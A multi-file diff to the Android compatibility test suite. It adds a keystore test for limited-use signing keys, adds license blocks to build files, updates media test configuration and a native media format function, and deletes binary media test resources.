+++ b/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java
@@ -19,7 +19,10 @@
 import android.keystore.cts.R;
 
 import java.security.InvalidKeyException;
+import java.security.Key;
+import java.security.KeyFactory;
 import java.security.KeyPair;
+import java.security.KeyStore;
 import java.security.PrivateKey;
 import java.security.Provider;
 import java.security.Provider.Service;
@@ -37,6 +40,8 @@
 import java.util.TreeMap;
 
 import android.content.Context;
+import android.security.keystore.KeyInfo;
+import android.security.keystore.KeyPermanentlyInvalidatedException;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
 import android.test.AndroidTestCase;
@@ -421,6 +426,62 @@
         }
     }
 
+    public void testValidSignatureGeneratedForEmptyMessageByLimitedUseKey()
+            throws Exception {
+        Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
+        assertNotNull(provider);
+        int maxUsageCount = 2;
+        for (String sigAlgorithm : EXPECTED_SIGNATURE_ALGORITHMS) {
+            for (ImportedKey key : importLimitedUseKatKeyPairsForSigning(getContext(), sigAlgorithm, maxUsageCount)) {
+                if (!TestUtils.isKeyLongEnoughForSignatureAlgorithm(
+                        sigAlgorithm, key.getOriginalSigningKey())) {
+                    continue;
+                }
+                try {
+                    KeyPair keyPair = key.getKeystoreBackedKeyPair();
+                    KeyFactory keyFactory = KeyFactory.getInstance(
+                            keyPair.getPrivate().getAlgorithm(), "AndroidKeyStore");
+                    KeyInfo info = keyFactory.getKeySpec(keyPair.getPrivate(), KeyInfo.class);
+                    assertEquals(maxUsageCount, info.getRemainingUsageCount());
+
+                    // The first usage of the limited use key.
+                    // Generate a signature
+                    Signature signature = Signature.getInstance(sigAlgorithm, provider);
+                    signature.initSign(keyPair.getPrivate());
+                    byte[] sigBytes = signature.sign();
+                    // Assert that it verifies using our own Provider
+                    signature.initVerify(keyPair.getPublic());
+                    assertTrue(signature.verify(sigBytes));
+
+                    // After using the key, the remaining usage count should be decreased. But this
+                    // will not be reflected unless we loads the key entry again.
+                    info = keyFactory.getKeySpec(keyPair.getPrivate(), KeyInfo.class);
+                    assertEquals(maxUsageCount, info.getRemainingUsageCount());
+
+                    // Reloads the key entry again, the remaining usage count is decreased.
+                    KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+                    keyStore.load(null);
+                    KeyStore.PrivateKeyEntry entry =
+                            (KeyStore.PrivateKeyEntry) keyStore.getEntry(key.getAlias(), null);
+                    info = keyFactory.getKeySpec(entry.getPrivateKey(), KeyInfo.class);
+                    assertEquals(maxUsageCount - 1, info.getRemainingUsageCount());
+
+                    // The second usage of the limited use key.
+                    signature.initSign(keyPair.getPrivate());
+                    signature.sign();
+
+                    // After the usage of limited use key is exhausted, the key will be deleted.
+                    try {
+                        signature.initSign(keyPair.getPrivate());
+                    } catch (KeyPermanentlyInvalidatedException expected) {}
+                } catch (Throwable e) {
+                    throw new RuntimeException(
+                            "Failed for " + sigAlgorithm + " with key " + key.getAlias(), e);
+                }
+            }
+        }
+    }
+
     public void testEmptySignatureDoesNotVerify()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -562,61 +623,6 @@
         }
     }
 
-    public void testEntropyConsumption() throws Exception {
-        // Assert that signature generation consumes the correct amount of entropy from the provided
-        // SecureRandom. There is no need to check that Signature.verify does not consume entropy
-        // because Signature.initVerify does not take a SecureRandom.
-
-        Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
-        assertNotNull(provider);
-
-        CountingSecureRandom rng = new CountingSecureRandom();
-        for (String sigAlgorithm : EXPECTED_SIGNATURE_ALGORITHMS) {
-            for (ImportedKey key : importKatKeyPairsForSigning(getContext(), sigAlgorithm)) {
-                if (!TestUtils.isKeyLongEnoughForSignatureAlgorithm(
-                        sigAlgorithm, key.getOriginalSigningKey())) {
-                    continue;
-                }
-                try {
-                    KeyPair keyPair = key.getKeystoreBackedKeyPair();
-                    PrivateKey privateKey = keyPair.getPrivate();
-                    Signature signature = Signature.getInstance(sigAlgorithm, provider);
-
-                    // Signature.initSign should not consume entropy.
-                    rng.resetCounters();
-                    signature.initSign(privateKey, rng);
-                    assertEquals(0, rng.getOutputSizeBytes());
-
-                    // Signature.update should not consume entropy.
-                    byte[] message = "This is a test message".getBytes("UTF-8");
-                    rng.resetCounters();
-                    signature.update(message);
-                    assertEquals(0, rng.getOutputSizeBytes());
-
-                    // Signature.sign may consume entropy.
-                    rng.resetCounters();
-                    signature.sign();
-                    int expectedEntropyBytesConsumed;
-                    String algorithmUpperCase = sigAlgorithm.toUpperCase(Locale.US);
-                    if (algorithmUpperCase.endsWith("WITHECDSA")) {
-                        expectedEntropyBytesConsumed =
-                                (TestUtils.getKeySizeBits(privateKey) + 7) / 8;
-                    } else if (algorithmUpperCase.endsWith("WITHRSA")) {
-                        expectedEntropyBytesConsumed = 0;
-                    } else if (algorithmUpperCase.endsWith("WITHRSA/PSS")) {
-                        expectedEntropyBytesConsumed = 20; // salt length
-                    } else {
-                        throw new RuntimeException("Unsupported algorithm: " + sigAlgorithm);
-                    }
-                    assertEquals(expectedEntropyBytesConsumed, rng.getOutputSizeBytes());
-                } catch (Throwable e) {
-                    throw new RuntimeException(
-                            "Failed for " + sigAlgorithm + " with key " + key.getAlias(), e);
-                }
-            }
-        }
-    }
-
     public void testSmallMsgKat() throws Exception {
         byte[] message = SHORT_MSG_KAT_MESSAGE;
 
@@ -747,8 +753,9 @@
                     signature.initVerify(keyPair.getPublic());
                     try {
                         signature.update(message);
-                        signature.verify(sigBytes);
-                        fail();
+                        if (signature.verify(sigBytes)) {
+                            fail();
+                        }
                     } catch (SignatureException expected) {}
                     continue;
                 }
@@ -1313,4 +1320,19 @@
             throw new IllegalArgumentException("Unsupported key algorithm: " + keyAlgorithm);
         }
     }
+
+    static Collection<ImportedKey> importLimitedUseKatKeyPairsForSigning(
+            Context context, String signatureAlgorithm, int maxUsageCount) throws Exception {
+        String keyAlgorithm = TestUtils.getSignatureAlgorithmKeyAlgorithm(signatureAlgorithm);
+        KeyProtection importParams =
+                TestUtils.getMinimalWorkingImportParametersWithLimitedUsageForSigningingWith(
+                        signatureAlgorithm, maxUsageCount);
+        if (KeyProperties.KEY_ALGORITHM_EC.equalsIgnoreCase(keyAlgorithm)) {
+            return ECDSASignatureTest.importKatKeyPairs(context, importParams);
+        } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
+            return RSASignatureTest.importKatKeyPairs(context, importParams);
+        } else {
+            throw new IllegalArgumentException("Unsupported key algorithm: " + keyAlgorithm);
+        }
+    }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/TestUtils.java b/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
index dcfcc85..3e9d7d0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
+++ b/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
@@ -24,6 +24,9 @@
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
 import android.test.MoreAsserts;
+
+import com.android.internal.util.HexDump;
+
 import junit.framework.Assert;
 
 import java.io.ByteArrayOutputStream;
@@ -58,6 +61,7 @@
 import java.security.spec.InvalidKeySpecException;
 import java.security.spec.PKCS8EncodedKeySpec;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Collections;
 import java.util.HashMap;
 import java.util.List;
@@ -180,7 +184,10 @@
         PrivateKey keystorePrivateKey = privEntry.getPrivateKey();
         PublicKey keystorePublicKey = cert.getPublicKey();
         assertEquals(keyPair.getPrivate(), keystorePrivateKey);
-        assertEquals(keyPair.getPublic(), keystorePublicKey);
+        assertTrue("Key1:\n" + HexDump.dumpHexString(keyPair.getPublic().getEncoded())
+                + "\nKey2:\n" + HexDump.dumpHexString(keystorePublicKey.getEncoded()) + "\n",
+                Arrays.equals(keyPair.getPublic().getEncoded(), keystorePublicKey.getEncoded()));
+
 
         assertEquals(
                 "Public key used to sign certificate should have the same algorithm as in KeyPair",
@@ -932,6 +939,28 @@
         }
     }
 
+    static KeyProtection getMinimalWorkingImportParametersWithLimitedUsageForSigningingWith(
+            String signatureAlgorithm, int maxUsageCount) {
+        String keyAlgorithm = getSignatureAlgorithmKeyAlgorithm(signatureAlgorithm);
+        String digest = getSignatureAlgorithmDigest(signatureAlgorithm);
+        if (KeyProperties.KEY_ALGORITHM_EC.equalsIgnoreCase(keyAlgorithm)) {
+            return new KeyProtection.Builder(KeyProperties.PURPOSE_SIGN)
+                    .setDigests(digest)
+                    .setMaxUsageCount(maxUsageCount)
+                    .build();
+        } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
+            String padding = getSignatureAlgorithmPadding(signatureAlgorithm);
+            return new KeyProtection.Builder(KeyProperties.PURPOSE_SIGN)
+                    .setDigests(digest)
+                    .setSignaturePaddings(padding)
+                    .setMaxUsageCount(maxUsageCount)
+                    .build();
+        } else {
+            throw new IllegalArgumentException(
+                    "Unsupported signature algorithm: " + signatureAlgorithm);
+        }
+    }
+
     static KeyProtection getMinimalWorkingImportParametersForCipheringWith(
             String transformation, int purposes) {
         return getMinimalWorkingImportParametersForCipheringWith(transformation, purposes, false);
diff --git a/tests/tests/libcoreapievolution/Android.bp b/tests/tests/libcoreapievolution/Android.bp
index 8cecd94..1e41643 100644
--- a/tests/tests/libcoreapievolution/Android.bp
+++ b/tests/tests/libcoreapievolution/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLibcoreApiEvolutionTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/libcorefileio/Android.bp b/tests/tests/libcorefileio/Android.bp
index e910c2f..7d1e7f4 100644
--- a/tests/tests/libcorefileio/Android.bp
+++ b/tests/tests/libcorefileio/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLibcoreFileIOTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/libcorelegacy22/Android.bp b/tests/tests/libcorelegacy22/Android.bp
index eb64d08..351206e 100644
--- a/tests/tests/libcorelegacy22/Android.bp
+++ b/tests/tests/libcorelegacy22/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLibcoreLegacy22TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/libnativehelper/Android.bp b/tests/tests/libnativehelper/Android.bp
index ba75d50..9705db0 100644
--- a/tests/tests/libnativehelper/Android.bp
+++ b/tests/tests/libnativehelper/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLibnativehelperTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/libnativehelper/jni/Android.bp b/tests/tests/libnativehelper/jni/Android.bp
index 441a8d1e..36c4331 100644
--- a/tests/tests/libnativehelper/jni/Android.bp
+++ b/tests/tests/libnativehelper/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_library_shared {
     name: "libnativehelper_test_jni",
     cflags: [
@@ -33,4 +37,4 @@
     static_libs: ["libgmock_ndk"],
     whole_static_libs: ["libnativetesthelper_jni"],
     tidy: true,
-}
\ No newline at end of file
+}
diff --git a/tests/tests/libthermalndk/Android.bp b/tests/tests/libthermalndk/Android.bp
index ba58f2d..c014942 100644
--- a/tests/tests/libthermalndk/Android.bp
+++ b/tests/tests/libthermalndk/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsThermalTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/libthermalndk/jni/Android.bp b/tests/tests/libthermalndk/jni/Android.bp
index 0990304..20e4d2c 100644
--- a/tests/tests/libthermalndk/jni/Android.bp
+++ b/tests/tests/libthermalndk/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctsthermal_jni",
     srcs: [
diff --git a/tests/tests/match_flags/Android.bp b/tests/tests/match_flags/Android.bp
index 4a40784..5411ad4 100644
--- a/tests/tests/match_flags/Android.bp
+++ b/tests/tests/match_flags/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsMatchFlagTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/match_flags/app/a/Android.bp b/tests/tests/match_flags/app/a/Android.bp
index 8513fad..1f084cb 100644
--- a/tests/tests/match_flags/app/a/Android.bp
+++ b/tests/tests/match_flags/app/a/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsMatchFlagsUniqueAndSharedUri",
     manifest: "AndroidManifest.xml",
@@ -23,4 +27,4 @@
         "general-tests",
     ],
     sdk_version: "test_current",
-}
\ No newline at end of file
+}
diff --git a/tests/tests/match_flags/app/b/Android.bp b/tests/tests/match_flags/app/b/Android.bp
index 868fa34..6124641 100644
--- a/tests/tests/match_flags/app/b/Android.bp
+++ b/tests/tests/match_flags/app/b/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsMatchFlagsSharedUri",
     manifest: "AndroidManifest.xml",
@@ -23,4 +27,4 @@
         "general-tests",
     ],
     sdk_version: "test_current",
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/Android.bp b/tests/tests/media/Android.bp
index 2c150b9..ce6ff06 100644
--- a/tests/tests/media/Android.bp
+++ b/tests/tests/media/Android.bp
@@ -12,6 +12,17 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    // See: http://go/android-license-faq
+    // A large-scale-change added 'default_applicable_licenses' to import
+    // all of the 'license_kinds' from "cts_license"
+    // to get the below license kinds:
+    //   SPDX-license-identifier-Apache-2.0
+    //   SPDX-license-identifier-CC-BY
+    //   legacy_unencumbered
+    default_applicable_licenses: ["cts_license"],
+}
+
 java_library {
     name: "ctsmediautil",
     srcs: [
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index e316b4d..c24f26b 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -123,6 +123,7 @@
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.MockActivity" />
+        <activity android:name="android.media.cts.MediaRouter2TestActivity" />
         <service android:name="android.media.cts.RemoteVirtualDisplayService"
             android:process=":remoteService" >
             <intent-filter>
diff --git a/tests/tests/media/AndroidTest.xml b/tests/tests/media/AndroidTest.xml
index 0036784..ba10e3b 100644
--- a/tests/tests/media/AndroidTest.xml
+++ b/tests/tests/media/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="media" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
         <option name="target" value="host" />
         <option name="config-filename" value="CtsMediaTestCases" />
@@ -26,7 +27,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaTestCases-1.2" />
+        <option name="media-folder-name" value="CtsMediaTestCases-1.4" />
         <option name="dynamic-config-module" value="CtsMediaTestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/media/DynamicConfig.xml b/tests/tests/media/DynamicConfig.xml
index 5331a3c..4548620 100644
--- a/tests/tests/media/DynamicConfig.xml
+++ b/tests/tests/media/DynamicConfig.xml
@@ -51,6 +51,6 @@
         <value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&amp;itag=17&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=70E979A621001201BC18622BDBF914FA870BDA40.6E78890B80F4A33A18835F775B1FF64F0A4D0003&amp;key=ik0&amp;user=android-device-test</value>
     </entry>
     <entry key="media_files_url">
-    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/CtsMediaTestCases-1.2.zip</value>
+    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/CtsMediaTestCases-1.4.zip</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/tests/media/OWNERS b/tests/tests/media/OWNERS
index e3d8ccc..4f5a2ef 100644
--- a/tests/tests/media/OWNERS
+++ b/tests/tests/media/OWNERS
@@ -12,3 +12,7 @@
 jmtrivi@google.com
 jsharkey@android.com
 sungsoo@google.com
+
+# LON
+olly@google.com
+andrewlewis@google.com
diff --git a/tests/tests/media/libaudiojni/Android.bp b/tests/tests/media/libaudiojni/Android.bp
index f77d529..0fc6126 100644
--- a/tests/tests/media/libaudiojni/Android.bp
+++ b/tests/tests/media/libaudiojni/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libaudio_jni",
     srcs: [
diff --git a/tests/tests/media/libimagereaderjni/Android.bp b/tests/tests/media/libimagereaderjni/Android.bp
index b799241..d97c511 100644
--- a/tests/tests/media/libimagereaderjni/Android.bp
+++ b/tests/tests/media/libimagereaderjni/Android.bp
@@ -14,6 +14,10 @@
 
 // Build the unit tests.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctsimagereader_jni",
     srcs: ["AImageReaderCts.cpp"],
diff --git a/tests/tests/media/libmediandkjni/Android.bp b/tests/tests/media/libmediandkjni/Android.bp
index 847a21c..61a4359 100644
--- a/tests/tests/media/libmediandkjni/Android.bp
+++ b/tests/tests/media/libmediandkjni/Android.bp
@@ -16,6 +16,16 @@
 //------------------------------------------------------------------------------
 // Builds libctscodecutils_jni.so
 //
+package {
+    // See: http://go/android-license-faq
+    // A large-scale-change added 'default_applicable_licenses' to import
+    // all of the 'license_kinds' from "cts_license"
+    // to get the below license kinds:
+    //   SPDX-license-identifier-Apache-2.0
+    //   legacy_unencumbered
+    default_applicable_licenses: ["cts_license"],
+}
+
 cc_test_library {
     name: "libctscodecutils_jni",
     srcs: [
diff --git a/tests/tests/media/libmediandkjni/native-media-jni.cpp b/tests/tests/media/libmediandkjni/native-media-jni.cpp
index 7a2671c..b8ff13a 100644
--- a/tests/tests/media/libmediandkjni/native-media-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-media-jni.cpp
@@ -1060,10 +1060,14 @@
         jint bitRate,
         jint frameRate,
         jint iFrameInterval,
-        jobject csd,
+        jobject csd0,
+        jobject csd1,
         jint flags,
         jint lowLatency,
-        jobject surface) {
+        jobject surface,
+        jint range,
+        jint standard,
+        jint transfer) {
 
     AMediaFormat* format = AMediaFormat_new();
     if (format == NULL) {
@@ -1089,19 +1093,29 @@
             // need to specify the actual string, since this test needs
             // to run on API 29, where the symbol doesn't exist
             "low-latency", // AMEDIAFORMAT_KEY_LOW_LATENCY
+            AMEDIAFORMAT_KEY_COLOR_RANGE,
+            AMEDIAFORMAT_KEY_COLOR_STANDARD,
+            AMEDIAFORMAT_KEY_COLOR_TRANSFER,
     };
 
-    jint values[] = {width, height, colorFormat, bitRate, frameRate, iFrameInterval, lowLatency};
+    jint values[] = {width, height, colorFormat, bitRate, frameRate, iFrameInterval, lowLatency,
+                     range, standard, transfer};
     for (size_t i = 0; i < sizeof(values) / sizeof(values[0]); i++) {
         if (values[i] >= 0) {
             AMediaFormat_setInt32(format, keys[i], values[i]);
         }
     }
 
-    if (csd != NULL) {
-        void *csdPtr = env->GetDirectBufferAddress(csd);
-        jlong csdSize = env->GetDirectBufferCapacity(csd);
-        AMediaFormat_setBuffer(format, "csd-0", csdPtr, csdSize);
+    if (csd0 != NULL) {
+        void *csd0Ptr = env->GetDirectBufferAddress(csd0);
+        jlong csd0Size = env->GetDirectBufferCapacity(csd0);
+        AMediaFormat_setBuffer(format, "csd-0", csd0Ptr, csd0Size);
+    }
+
+    if (csd1 != NULL) {
+        void *csd1Ptr = env->GetDirectBufferAddress(csd1);
+        jlong csd1Size = env->GetDirectBufferCapacity(csd1);
+        AMediaFormat_setBuffer(format, "csd-1", csd1Ptr, csd1Size);
     }
 
     media_status_t err = AMediaCodec_configure(
diff --git a/tests/tests/media/libndkaudio/Android.bp b/tests/tests/media/libndkaudio/Android.bp
index 7af57af..08552d1 100644
--- a/tests/tests/media/libndkaudio/Android.bp
+++ b/tests/tests/media/libndkaudio/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libndkaudioLib",
     include_dirs: [
diff --git a/tests/tests/media/res/raw/audio_aac_mono_70kbs_44100hz_aac_mono_70kbs_44100hz.mp4 b/tests/tests/media/res/raw/audio_aac_mono_70kbs_44100hz_aac_mono_70kbs_44100hz.mp4
deleted file mode 100644
index 157c222..0000000
--- a/tests/tests/media/res/raw/audio_aac_mono_70kbs_44100hz_aac_mono_70kbs_44100hz.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/audio_with_metadata.mp3 b/tests/tests/media/res/raw/audio_with_metadata.mp3
deleted file mode 100644
index 04f65bc..0000000
--- a/tests/tests/media/res/raw/audio_with_metadata.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/big5_1.mp3 b/tests/tests/media/res/raw/big5_1.mp3
deleted file mode 100644
index faa3eb4..0000000
--- a/tests/tests/media/res/raw/big5_1.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/big5_2.mp3 b/tests/tests/media/res/raw/big5_2.mp3
deleted file mode 100644
index a69da4f..0000000
--- a/tests/tests/media/res/raw/big5_2.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames.mp4 b/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames.mp4
deleted file mode 100644
index 8c0d787..0000000
--- a/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames_editlist.mp4 b/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames_editlist.mp4
deleted file mode 100644
index 6609614..0000000
--- a/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames_editlist.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames_empty_normal_editlist_entries.mp4 b/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames_empty_normal_editlist_entries.mp4
deleted file mode 100644
index 5b175ee..0000000
--- a/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames_empty_normal_editlist_entries.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/binary_counter_320x240_720x240_30fps_600frames.mp4 b/tests/tests/media/res/raw/binary_counter_320x240_720x240_30fps_600frames.mp4
deleted file mode 100644
index 2822d20..0000000
--- a/tests/tests/media/res/raw/binary_counter_320x240_720x240_30fps_600frames.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/bug13652927.ogg b/tests/tests/media/res/raw/bug13652927.ogg
deleted file mode 100644
index 065d9e5..0000000
--- a/tests/tests/media/res/raw/bug13652927.ogg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/camera_click.ogg b/tests/tests/media/res/raw/camera_click.ogg
deleted file mode 100644
index b836e10..0000000
--- a/tests/tests/media/res/raw/camera_click.ogg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt2020_lr_hlg_h265.mp4 b/tests/tests/media/res/raw/color_176x144_bt2020_lr_hlg_h265.mp4
deleted file mode 100644
index 748151c..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt2020_lr_hlg_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt2020_lr_smpte2084_h265.mp4 b/tests/tests/media/res/raw/color_176x144_bt2020_lr_smpte2084_h265.mp4
deleted file mode 100644
index f21237f..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt2020_lr_smpte2084_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_h264.mp4 b/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_h264.mp4
deleted file mode 100644
index 84701c3..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_h265.mp4 b/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_h265.mp4
deleted file mode 100644
index 7d948d4..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_mpeg2.mp4 b/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_mpeg2.mp4
deleted file mode 100644
index 0edf5c4..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_mpeg2.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt601_625_fr_sdr_h264.mp4 b/tests/tests/media/res/raw/color_176x144_bt601_625_fr_sdr_h264.mp4
deleted file mode 100644
index ed3b47d..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt601_625_fr_sdr_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt601_625_fr_sdr_h265.mp4 b/tests/tests/media/res/raw/color_176x144_bt601_625_fr_sdr_h265.mp4
deleted file mode 100644
index 11025be..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt601_625_fr_sdr_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt601_625_lr_sdr_mpeg2.mp4 b/tests/tests/media/res/raw/color_176x144_bt601_625_lr_sdr_mpeg2.mp4
deleted file mode 100644
index a16fc6f..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt601_625_lr_sdr_mpeg2.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_h264.mp4 b/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_h264.mp4
deleted file mode 100644
index d95d5c7..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_h265.mp4 b/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_h265.mp4
deleted file mode 100644
index dfd97fe..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_mpeg2.mp4 b/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_mpeg2.mp4
deleted file mode 100644
index 3385ed1..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_mpeg2.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_h264.mp4 b/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_h264.mp4
deleted file mode 100644
index 2360277..0000000
--- a/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_h265.mp4 b/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_h265.mp4
deleted file mode 100644
index fe34c5b..0000000
--- a/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_mpeg2.mp4 b/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_mpeg2.mp4
deleted file mode 100644
index 9de85c7..0000000
--- a/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_mpeg2.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/cp1251_3.mp3 b/tests/tests/media/res/raw/cp1251_3.mp3
deleted file mode 100644
index 179a1a5..0000000
--- a/tests/tests/media/res/raw/cp1251_3.mp3
+++ /dev/null
Binary files differ
